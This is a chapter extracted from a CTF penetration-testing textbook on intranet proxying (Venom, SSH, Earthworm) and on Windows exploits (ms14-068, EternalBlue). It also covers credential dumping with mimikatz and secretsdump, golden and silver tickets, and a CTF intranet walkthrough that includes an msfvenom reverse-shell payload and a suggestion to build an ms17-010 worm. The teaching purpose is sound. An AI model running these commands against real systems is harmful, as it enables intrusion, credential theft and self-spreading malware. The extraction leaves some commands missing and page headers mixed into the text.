1. Venom
Venom is a multi-level proxy tool that is developed with Go language for penetration
testers to connect multiple nodes and then uses the nodes as a jump box to build
multi-level proxies. Penetration testers can easily use Venom to proxy network
traffic to multi-layered intranets and easily manage proxy nodes.
Venom is divided into two parts: admin and agent, the core operation of them is to
listen and connect. Both admin and agent nodes can listen or initiate connections.
(Quoted from the official Github repository description at https://github.com/Dliv3/
Venom.)
Examples of commands are shown below.
(1) Using admin as a server
# node connect to the admin node with given IP address and port
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
Once the node is acquired, you can use the goto command to enter the node and
perform the following operations on the node.
• Listen, listening for ports on the target node.
• Connect, which allows the target node to connect to a given service.
• Sshconnect, which establishes the SSH proxy service.
• Shell, which starts an interactive shell.
• Upload, upload files; Download, download files.
12.2 Port Forwarding and Proxies 755
λ tree /F
Folder PATH List
Roll serial number is 8C06-787E
C:.
DS_Store
│ admin.exe
│ admin_linux_x64
│ admin_linux_x86
│ admin_macos_x64
│ agent.exe
│ agent_arm_eabi5
│ agent_linux_x64
│ agent_linux_x86
│ agent_macos_x64
│ agent_mipsel_version1
│
└─scripts
port_reuse.py
Suppose you have successfully taken down the first machine, upload the com-
piled file to the target host, and then start the server. If the target does not have a
public network address or a firewall exists, so you cannot access the target port
directly, and you need to establish a reverse connection, that is to use admin client to
listens on the port as a server to be connected, and the agent node makes an active
connection to the server. In this way, we can bypass the restriction of any existing
firewalls. And the command needed is as follows.
Enable listening on port 8888 on the server, see Fig. 12.27.
Next, run the agent on the jumobox to connect to the server side, see Fig. 12.28.
On the admin side you can see that the connection is established, enter the added
node, and list the commands available, see Fig. 12.29.
The following section explains the use of port forwarding, where there are two
port forwarding functions: local port forwarding and remote port forwarding.
756 12 Virtual Target Penetration Test
Local port forwarding is the forwarding of a local (admin node) port to a port on
the target node. For example, to forward a web service on local port 80 to port 80 of
the target node, the command would be.
lforward 127.0.0.1 80 80
The web service can then be accessed on port 80 of the target node, see
Fig. 12.30.
Remote port forwarding is the forwarding of a port from a remote node to a local
port. For example, port 80, which was previous opened on the target node, is then
forwarded to port 8080 of the admin node with the command.
12.2 Port Forwarding and Proxies 757
Accessing the local port 8080 will give you access to port 80 of the target node,
see Fig. 12.31.
Of course, it is also possible to forward ports from other machines on the intranet,
such as 192.168.115.129, which cannot be accessed directly. But now we can
forward its smb port to the local 445 port with the following command.
The smb service from 192.168.115.129 can then be accessed on the local port
445, as shown in Fig. 12.32.
2. SSH
Port forwarding in SSH is very convenient and stable in some scenarios. The specific
operation method is as follows. Readers can test locally by themselves.
(1) Local Forwarding. Local access to 127.0.0.1:port1 is host:port2, which is.
Socks is a proxy service that connects two end systems and the proxy defaultly
listening on port 1080 supports a variety of protocols, including HTTP, HTTPS,
SSH and other types of requests. Socks is divided into Socks4 and Socks5, Socks4
only supports TCP, while Socks5 supports TCP/UDP and various authentication
protocols.
Socks proxies are used extensively in practical penetration testing and can help us
access various service resources on the target intranet more quickly and easily than
port forwarding.
1. Use SSH as a Socks proxy
The following 1.1.1.1 are all assumed to be the IP of the personal server. running
locally.
Eventually, port 1080 will be opened locally on 127.0.0.1, and then the proxy
server 1.1.1.1 will be connected.
During the penetration testing, if you can get the SSH password, and the SSH port
is open to the public, you can use the above command to easily perform the Socks
proxy. However, in many cases there is no way to connect directly to SSH, so the
following procedure can be followed.
(1) Modify the GatewayPorts in the /etc/ssh/sshd_config file to “yes” on your own
server so that the local listeners are listening at 0.0.0.0:8080 instead of 127.0.0.1:
8080, so that you can access it on the public network.
(2) Execute the command “ssh -p 22 -qngfNTR 6666:localhost:22 [email protected]” on
the target machine to forward port 22 to 1.1.1.1:6666 on the target machine.
(3) Execute the command “ssh -p 6666 -qngfNTD 6767 [email protected]” on the
personal server 1.1.1.1 and make an SSH connection through port 6666 of
1.1.1.1, which is port 22 of the target, and finally map out port 6767.
(4) You can then use 1.1.1.1.1:6767 as a proxy to access the target network.
2. Venom as a Socks proxy.
Venom can also start up a Socks proxy server and the procedure is very simple since
we don’t have to perform listen and forward on each host manually. Again, we need
to take control of the first machine, upload the agent program, and actively connect
to the server. After getting the node connected, use the “goto [node id]” command to
enter the node, and use the “socks 1080” command to open a local Socks5 service
port. The port proxy is the target node’s network, requests through the 1080 port,
will be forwarded through the target node, thus realizing the proxy function.
760 12 Virtual Target Penetration Test
After enabling the port, you can use proxychains to proxy the command line
program. Here you need to configure the proxy port in the path /etc/proxychains.conf
and add the port address to the last line of the configuration file, see Fig. 12.33.
You can then access other hosts on the intranet through the Socks5 proxy, as
shown in Fig. 12.34.
Remember to turn off the Windows firewall if you cannot access other host
services.
12.3.1 ms08-067
12.3.2 ms14-068
Defensive detection methods for the ms14-068 vulnerability attack are well
established, and the Kerberos authentication knowledge will be described in Sect.
12.5.2.1. Because there is no privilege chekcking mechanism in Kerberos, when
Microsoft’s implementation of the Kerberos protocol, they include PAC (Privilege
Attribute Certificate), which records user information and privileges. The KDC and
server restrict users’ access based on the privilege information in the PAC. The root
cause of the vulnerability is that KDC allows a user to forge a PAC and then use a
specified algorithm to encrypt and decrypt it, and send TGS-REQ requests with a
PAC that forged user with high privileges, thus the ticket returned has high privi-
leges. The vulnerability affects the following versions: Windows Server 2003,
Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows
Server 2012 R2.
Of course, there are prerequisites for this vulnerability: a valid domain user and
password, a sid for the domain user, a domain-controller’s address, and Windows
7 or higher. Note that the operating system requirement is Windows 7 or higher
because Windows XP does not support importing tickets, which can also be ignored
if the attacker relays on Linux machine.
Here is an example of goldenPac.py from the impacket package (https://github.
com/SecureAuthCorp/impacket), using the parameters shown in Fig. 12.38. Take
the competition I have participated in as an example; the command is as follows:
12.3.3 ms17-010
ShadowBroker releases the eternalblue module of the NSA tool, which has been
analyzed extensively on the web and will not be repeated here but will only be
demonstrated in the appropriate environment. The affected versions are as follows.
(1) Credential version required: Windows 2016 X64, Windows 10 Pro Build 10240
X64, Windows 2012 R2 X64, Windows 8.1 X64, Windows 8.1 X86.
(2) Versions not requiring credentials: Windows 2008 R2 SP1 X64, Windows 7 SP1
X64, Windows 2008 SP1 X64, Windows 2003 R2 SP2 X64, Windows XP SP2
764 12 Virtual Target Penetration Test
X64, Windows 7 SP1 X86, Windows 2008 SP1 X86, Windows 2003 SP2 X86,
Windows XP SP3 X86, Windows 2000 SP4 X86.
Note that some systems will require authentication, which involves the consideration
about anonymous user (empty session) access to named pipes, since the default
configuration of newer versions of Windows restricts anonymous access. Starting
from Windows Vista, the default setting does not allow anonymous access to any
named pipes, and starting from Windows 8, the default setting does not allow
anonymous access to IPC $ shares.
The target machine is first scanned for the presence of Eternal Blue using scanner/
smb/smb_ms17_010, see Fig. 12.40.
Here we also recommend https://github.com/worawit/MS17-010, which is more
versatile, because the target version of the test is low, so use zzz_exploit.py, and
modify the smb_pwn function whose behavior defaults to create a TXT file on the C
drive, while we need to modify it to execute a command or upload an executable file,
as shown in Fig. 12.41.
Then, Metasploit is used to generate an executable file named bind86.exe and
places it in the script execution directory. At the same time, you should make
Metasploit begin to listens for backdoor connections (see Fig. 12.42), and then
executes the exploit script to get the target session.
This is just a demonstration of the use of zzz_exploit. It is recommended that the
readers read the python script to discover other ways to exploit with it, such as
writing it as an ms17010 worm, compiling it into an EXE file and propagating
automatically.
12.4 Obtaining Authentication Credentials 765
Plaintext passwords are the most common identity credentials that users encounter in
everyday life. In the Windows authentication mechanism, many programs will save
the plaintext in various forms in the host. The following is a list of common methods
attackers use to obtain plaintext passwords.
LSA Secrets is a special protection mechanism used in the Windows Local Security
Authority (LSA) to store important user information, which acts as a local security
policy for the management system, responsible for auditing, authenticating, logging
users into the system, and storing private data. Sensitive user and system data are
stored in the LSA Secrets registry, which can only be accessed with system admin-
istrator privileges.
(1) LSA Secrets Location
LSA Secrets are stored in the system as a registry at (see Fig. 12.43):
HKEY_LOCAL_MACHINE/Security/Policy/Secrets. Its permissions is set to
allow only users in the system group to have all permissions.
When administrative access is added and the reopen. the regedit tool, the
subdirectory LSA Secrets will be displayed (see Fig. 12.44).
• $MACHINE.ACC: Information about domain authentication.
• DefaultPassword: Stores the encrypted password when autologon is on.
Place the three exported files into the Impacket\examples folder and load them
using the Impacket secretsdump script.
In the return result (see Fig. 12.46), you can see that the plaintext password
appears in the DefaultPassword entry. Other important items in the return result will
be described later.
For more details about LSA, interested readers can go to MSDN to find out for
themselves: https://docs.microsoft.com/ en-us/windows/desktop/secauthn/lsa-
authentication.
12.4 Obtaining Authentication Credentials 769
Use mimikatz to extract the password from the dump file with the following
command.
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
Extracting with mimikatz is convenient, but it is already on the kill list of most
anti-virus software. It is recommended to use procdump dump process as a priority
to extract passwords offline locally.
mimikatz with the following sequence of commands, the results of which are shown
in Fig. 12.50.
Mimikatz> privilege::debug
Mimikatz> sekurlsa::credman
12.4 Obtaining Authentication Credentials 773
Lazange is a great tool for collecting information for this machine. It tries to collect
credential information of multiple dimensions including browser, chat software,
database, games, Git, mail, Maven, memory, Wi-Fi, system credentials, and it
supports Windows, Linux, and Mac systems. See Fig. 12.53 for an explanation of
the command arguments. The results are shown in Fig. 12.54.
774 12 Virtual Target Penetration Test
The SAM (Security Accounts Manager) database is where Windows system stores
local user identity credentials, and the credentials stored in the SAM database are in
NTLM Hash format. SAM is stored in the registry, the location is HKEY_
LOCAL_MACHINE\SAM. System privileges is required to obtain any information
from the database.
There are two specific ways of obtaining NTLM Hash.
1. Get NTLM Hash on the target machine.
Mimikatz commands as follows.
Mimikatz> privilege::debug
Mimikatz> token::elevate
Mimikatz> lsadump::sam
2. Export the SAM database on the target machine and parse it locally.
Both of the following export methods need to be run with administrator privileges.
(1) Use the CMD command.
12.4 Obtaining Authentication Credentials 775
The NTLM Hash is then extracted locally from the SAM in two ways.
(1) Use Mimikatz with the following command.
https://github.com/SecureAuthCorp/impacket/blob/master/examples/
secretsdump.py
Python secretsdump.py -sam sam.save -system system.save LOCAL
Like SAM for the local machine, NTDS.dit is the database that holds the domain
user’s identity credentials and is stored on the domain controller. The path is C:
\Windows\System32\ntds.dit in Windows Server 2019, and C:\Windows\NTDS
\NTDS.dit in lower versions. After successfully obtaining administrator access on
a domain controller, the identity credentials of all users can be obtained, which can
be used to maintain permissions in subsequent stages.
There are two ways to retrieve stored identity credentials.
1. Remote extraction
Use the secretsdump.py script from impacket to extract the password hash remotely
via dcsync with the following command.
Since ntds.dit needs to be parsed with the bootKey from SYSTEM, it is necessary to
download the SYSTEM file. these files cannot be copied directly, but we can copy
them using the VSS Volume Shadow script: https://github.com/samratashok/
nishang/blob/master/Gather/Copy-VSS.ps1.
This script copies SAM, SYSTEM, and ntds.dit directly to a user-controllable
location, see Fig. 12.56.
The secretsdump.py script in impacket implements the function of extracting the
password hash from ntds.dit using the boot key in system, with the following
command (see Fig. 12.57 for the results).
12.5 Lateral Movement 777
In penetration tests, we often encounter with domains. Here are two techniques that
are often used in Windows lateral movement are introduced, including their princi-
ples involved and how they are exploited. The test environment is as follows.
(1) Domain Controller.
778 12 Virtual Target Penetration Test
You need to understand the differences between LM Hash for Windows, NTLM
Hash, and Net NTLM Hash before you can do a hash pass.
(1) LM Hash: Only used by old version of Windows system (such as Windows
XP/2003 or below) to authentication. In order to ensure system compatibility,
Microsoft still retains it in the operating system after Windows Vista, but LM
authentication is disabled by default, LM authentication protocol is basically
eliminated, and NTLM is used for authentication.
(2) NTLM Hash: Mainly used by Windows Vista and newer systems, NTLM is a
network authentication protocol that requires NTLM Hash as credentials during
the authentication. During the prcess of local authentication, the plaintext pass-
word entered by the user is encrypted and converted into NTLM Hash for
comparison with NTLM Hash in the system SAM file. After capture, it can be
used directly for hash passing or cracked in objectif-securite, see Fig. 12.59.
(3) Net NTLM Hash: Is mainly used for various network authentication. Due to
different encryption methods, it derived into different versions, such as
NetNTLMv1, NetNTLMv1ESS, NetNTLMv2. Almost all Hash stolen through
fishing and other methods is of this type. Note that Net NTLM Hash cannot be
used directly for hash delivery, but can be exploited via smb relay.
Of course, all three of these hashes can be cracked by brute force, and if Hashcat is
supported by the hardware, the blasting speed will be very impressive.
When performing intranet penetration, when we get a user’s NTLM hash, though
we cannot get a plaintext password, it can still be exploited through hash passing.
Note that Microsoft released the patch KB2871997 on May 13, 2014 for Hash
passing, which was used to disable local administrator accounts for remote connec-
tions so that local administrators cannot execute wmi, psexec, etc. on remote hosts
with local administrator privileges. However, in real-world testing, it was found that
common hash passing no longer works, except for the default administrator (sid 500)
account, which can still perform hash passing attacks even if it is renamed.
Reference page: http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-
with.html.
12.5 Lateral Movement 779
Then test whether the domain controller can be accessed, where the scanf account
is the domain administrator. As shown in Fig. 12.61, it can be accessed successfully.
780 12 Virtual Target Penetration Test
The Kerberos protocol needs to be briefly introduced before Pass The Ticket. In a
domain environment, the Kerberos protocol is used for authentication, and
Fig. 12.62 shows a simple authentication process.
• KDC (Key Distribution Center): Key distribution center that contains AS and
TGS services.
12.5 Lateral Movement 781
Every user’s ticket is encrypted with krbtgt’s NTLM Hash, and if we have krbtgt’s
Hash, we can forge ticket for arbitray user. When we get domain controller’s access,
we can use krbtgt’s Hash and mimikatz to generate a ticket for arbitray user, which is
called a Golden Ticket. Since it is a forged TGT, it does not communicate with
KDC’s AS and is therefore sent to the domain controller as part of the TGS-REQ to
obtain a service ticket, see Fig. 12.63.
782 12 Virtual Target Penetration Test
Prerequirements: domain name, domain sid, domain krbtgt Hash (both aes256
and NTLM Hash are available), user id to be forged.
(1) Export Krbtgt’s Hash
Performed on the domain controller or any host within a domain with domain
administration privileges, see Fig. 12.64.
The command to generate a golden ticket is as follows (see Fig. 12.65 for the
results).
There is detailed help for using the above commands on the reference page, so I
won’t go into too much detail here. The following aspects need to be considered
when using Golden Tickets.
• The domain Kerberos policy trusts by default the expiration time of the ticket.
• The krbtgt password has been changed twice in a row and the golden ticket is
invalid.
• Golden tickets can be generated and used on any host that can communicate with
the domain controller.
12.5 Lateral Movement 783
• KDC does not check the validity of the user in the ticket during the first
20 minutes of import.
• Reference page: https://github.com/gentilkiwi/mimikatz/wiki/module-~-
kerberos.
784 12 Virtual Target Penetration Test
Silver Tickets is to use forged TGS Tickets to access services on a particular server.
The communication flow is shown in Fig. 12.66, which has the advantage that only
users and services communicate without communicating with the domain controller
(KDC), and no logs on the domain controller can be used as a backdoor for privilege
maintenance.
The difference between gold and silver tickets are shown in Table 12.1.
In other words, if you have a silver ticket in your hand, you can skip the KDC
authentication, and you can directly use the specified services. The list of services
can be accessed with the Silver Ticket are shown in Table 12.2.
Assuming you have already obtained the domain controller’s privileges, and you
happen to be able to communicate when the domain controller when the privileges
are lost. So you need to access the CIFS service (used for file sharing between
Windows hosts) on the domain controller to regain the privileges. The following
information is needed to generate a silver ticket: /domain, /sid, /target (the full name
of the domain name of the target server, in this casethe full name of the domain
controller), /service (the service need to be accessedon the target server, here CIFS), /
rc4 (the NTLM Hash of any computer account of a user on the domain controller), /
user (the user name to be forged, you can specify any user). Assume that the
following command has been executed earlier on the domain controller to obtain
the information required, as shown in Fig. 12.67.
Generate and import Silver Ticket using Mimikatz, with the following command.
The result is shown in Fig. 12.68. After a successful import, you can now
successfully access the files share on the domain controller, see Fig. 12.69.
You can also get krbtgt hash to generate a golden ticket by accessing the LDAP
service on the domain controller with a silver ticket, just change the name of /service
to LDAP, generate and import the ticket as shown in Fig. 12.70.
Readers can test it by yourself (clearing the previously generated CIFS service
ticket before generating an LDAP service ticket) to see if you can access the domain
controller’s file sharing service at this time.
12.5 Lateral Movement 787
The most obvious difference between CTF penetration challenges and real penetra-
tion tests is that there must be a solution in CTF, and the information at each piece of
information in the process of solving the challenge is critical, including emails, links,
articles on websites, etc. Therefore, competitors need to keep up with the ideas of the
questioner and pay close attention to the information revealed in the question.
In the following, I will introduce you with some CTF challenges that I have
encountered with in the past, but I will not go into details because the environment
for the challenges does not exist anymore.
ad domain
172. 16. 8. 8 192. 168. 1. 2 192. 168. 2. 114 192. 168. 2. 104
wordpress word click server tomcat
192. 168. 2. 10
ad DC
(2) Using msfvenom to generate an HTA malicious file, is a backdoor program that
will try connect to our server, combined with the port forwarding described
earlier. When the victim launch the malicious file, it firstly connects to port
13339 of 192.168.1.2, then port forwarding through 192.168.1.2 will forward
traffic to the attacker’s port 13338.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2
lport=13339 -f hta-psh -o a.hta
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0.0
set LPORT 13338
exploit -j
3. Tomcat
Since you only have the 192.168.2.114 machine, you can use it to do further
exploration of the intranet to expand your privileges.
(1) Add a route so that you can access the 192.168.2.1/24 computer via Metasploit.
use auxiliary/scanner/portscan/tcp
set PORTS 3389,445,22,80,8080
set RHoSTS 192.168.2.1/24
set THREADS 50
exploit
metasploit is a Socks4 proxy, which is very slow, so you are recommended to use
Earthworm.
(3) Upload the Earthworm program.
792 12 Virtual Target Penetration Test
(5) Connect the node with ip address of 192.168.2.114 to the jumpbox located at
192.168.1.2.
C:/Users/RTF/Desktop/ew.exe -s rssocks -d 192.168.1.2 -e 8881
Finally, all the traffic through 192.168.1.2:10080 will be proxied to their intranet.
By doing a penetration test on the intranet, we found that 192.168.2.104 has open
ports 80 and 8080, where 8080 is Tomca, whose default password is tomcat/tomcat.
Then, we deployed the war package to get a webshell with root privileges, and got a
flag in the root directory, see Fig. 12.78.
Information is collected on 192.168.2.104 and MySQL connection information is
found in the /var/www/html/inc/config.php file.
$DB=new MyDB(“127.0.0.1”,”mail”,”mail123456”,”my_mail”);
After queries from the database, it is found that the password of a computer on the
intranet is [email protected], as shown in Fig. 12.79.
4. Windows PC
We can use the smb_login module in metasploit to blast the account password and
find that 192.168.2.112 can be logged in successfully, see Fig. 12.80.
12.6 Penetration Test Challenges in Practice 793
For convenience, port 3389 is forwarded here for login, and then the backdoor
connection is up and running with administrator privileges, see Fig. 12.81.
5. Attack Windows Domain Control
A process launched by a domain user named AD\PC was found by listing the
processes, see Fig. 12.82.
So we try to capture its password with the mimikatz, it is found that its password
is also [email protected], see Fig. 12.83.
The net user command allows you to see that the PC user is just a common
domain user, as shown in Fig. 12.84.
794 12 Virtual Target Penetration Test
The net view finds some computers under the control of AD domain, and since
the remark is pretty obvious, you can find that the domain controller is \crDC, see
Fig. 12.85.
The exploit of ms14-068 is performed to attack the domain controller.
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
The sid of a domain member is obtained through the migrating to the process
launched by AD\PC user and is shown in Fig. 12.86.
Purge credentials with mimikatz.
Finally, you can log directly in domain controller and get the flag, see Fig. 12.87.
12.7 Summary
This chapter introduces how to build a penetration test environment for common
vulnerabilities on Windows and Linux, how to exploit common vulnerabilities and
some of the principles; demonstrates some attack techniques with some scenarios
and expands your view through the cases of historical competition challenges.
However, after acquiring this basic knowledge of penetration, competitors still
need to gain more knowledge on their own before they can master it in a real
environment. In the meantime, we have also provided a set of virtual targets on
the N1BOOK platform for the readers can download and practice locally.
This concludes the technical chapter of this book, and we hope readers will find it
rewarding after reading this book.
12.7 Summary 797